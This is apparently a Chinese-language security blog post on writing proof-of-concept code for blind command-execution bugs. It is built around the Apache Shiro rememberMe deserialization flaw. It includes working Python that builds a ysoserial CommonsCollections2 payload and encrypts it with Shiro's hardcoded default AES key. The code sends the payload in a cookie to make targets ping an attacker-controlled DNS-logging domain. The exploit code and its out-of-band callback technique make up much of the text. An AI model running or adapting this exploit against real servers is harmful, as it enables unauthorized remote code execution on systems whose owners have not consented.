无回显命令执行PoC编写指南(Apache Shiro Java反序列化)
2016-08-04 17:38
603 查看
无回显
漏洞存在与否,无法从web获取到标志性的信息,Java反序列化漏洞即属于该类型。验证方法
针对无回显的命令执行漏洞,让目标机执行wget、
nc或者
curl等命令,然后在公网主机监听对应的端口,通过日志来判断命令是否被执行。
该方法可行,不过缺陷有以下几点:
修改了目标机的文件系统
不具有通用性,如windows没有nc、linux没有wget的情况。
涉及到TCP数据传输,执行速度慢
一种更好的方式是使用dns日志来判断命令是否执行,流程如下:
生成一个特殊的域名,如
1dsa3r3.shiro.server.com
构造payload让目标机执行
ping 1dsa3r3.shiro.server.com
登录dns服务后台,如果后台记录了该域名的dns查询记录,即证明目标存在命令执行。
这种方法首先适应了win/unix系统,二者均自带ping命令。而且执行DNS的速度要快于TCP。
tips
使用ping命令的时候有个坑,大部分linux系统执行
ping xxxx时候会一直ping下去,而不是win里面执行4次之后退出。
解决方案:使用
ping -n 3 xxx.com || ping -c 3 xxx.com可以解决该问题并保证兼容性。
实际情况中会遇到很多入口与出口不同的情况,即我们向主机A发送payload,但是主机B执行了我们的ping命令。这时我们dns日志中的IP与A的IP无法匹配,就会造成漏报。
解决方案:为每次验证生成独立、随机的域名,如
[random].shiro.xxx.com,在
[random]处使用10位随机字符或者递增的数字。这样只要以该域名为准查找日志,即可同时匹配到入口和出口主机IP。
PoC示例
以Apache Shiro Java反序列化远程命令执行漏洞为例。昨日Knownsec 404发出的分析文章:
https://www.seebug.org/vuldb/ssvid-92180
完整PoC代码
https://github.com/Xyntax/POC-T/blob/master/script/shiro-deserial-rce.py主函数
调用cloudeye接口,设置一个以shiro为特征组的随机域名,即:
[random].shiro.user.dnslog.info
将该域名加入目标机执行的
ping命令
使用
ping命令生成反序列化
payload
requeests以GET请求的
Cookie字段发送
payload
调用
Cloudeye接口查看dns日志,在日志中匹配之前构造的域名
如果访问记录存在,在记录中匹配出口IP
返回入口IP和出口IP
from plugin.cloudeye import CloudEye def poc(url): target = 'http://' + url if '://' not in url else url try: cloudeye = CloudEye() domain = cloudeye.getRandomDomain('shiro') # 设置dns特征域名组 rce_command = 'ping -n 3 %s || ping -c 3 %s' % (domain, domain) # 目标机执行的代码 payload = generator(rce_command, JAR_FILE) # 生成payload requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求 dnslog = cloudeye.getDnsRecord(delay=1) if domain in dnslog: msg = url for each in re.findall(r'client (.*)#', dnslog): # 获取出口ip msg += ' - ' + each return msg except Exception, e: pass return False
Payload生成
生成payload的原理在上面链接文章有分析和相应代码,稍加修改,需传入要目标机执行的命令和本地jar的位置:
def generator(command, fp): if not os.path.exists(fp): raise Exception('jar file not found!') popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
CloudEye接口
简单写了个CloudEye功能接口,用于生成域名和获取dns/Apache日志,整合在PoC框架中,使用前需要配置。https://github.com/Xyntax/POC-T/blob/master/plugin/cloudeye.py
运行效果
批量验证:CloudEye日志:
相关文章推荐
- [Gradle] 执行gradlew命令时抛异常 (java.lang.NoClassDefFoundError: org/apache/commons/cli/CommandLineParser)
- 编写通用的java代码执行任意adb命令
- Java编写Telnet客户端,连接到Windows的Telnet服务器,执行命令和批处理脚本
- Java反序列化漏洞执行命令回显实现及Exploit下载
- Apache shiro 1.2.4版本远程命令执行漏洞详解
- 编写批处理命令来执行JAVA文件
- PHP脚本Apache用户下执行Java命令报exec: java: not found
- 网站安全加固之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
- java利用Apache commons codec进行MD5加密,BASE64加密解密,执行系统命令
- Java反序列化漏洞执行命令回显实现及Exploit下载
- java中编写cmd命令并执行
- 用jar命令将java class文件打包以及编写方便执行jar文件的批处理文件
- linux 使用java编写ssh登陆主机 输入密码登陆并执行命令(jsch)
- Java /Jsp 执行操作系统命令 windows/Linux
- Java执行外部命令,并把结果回显到控制台
- java基础学习---命令行编译执行java类
- ABAP--编写应用服务器执行外部命令的程序示例
- Java执行外部命令,并把结果回显到控制台
- ABAP--编写应用服务器执行外部命令的程序示例
- Java如何调用可执行文件和批处理命令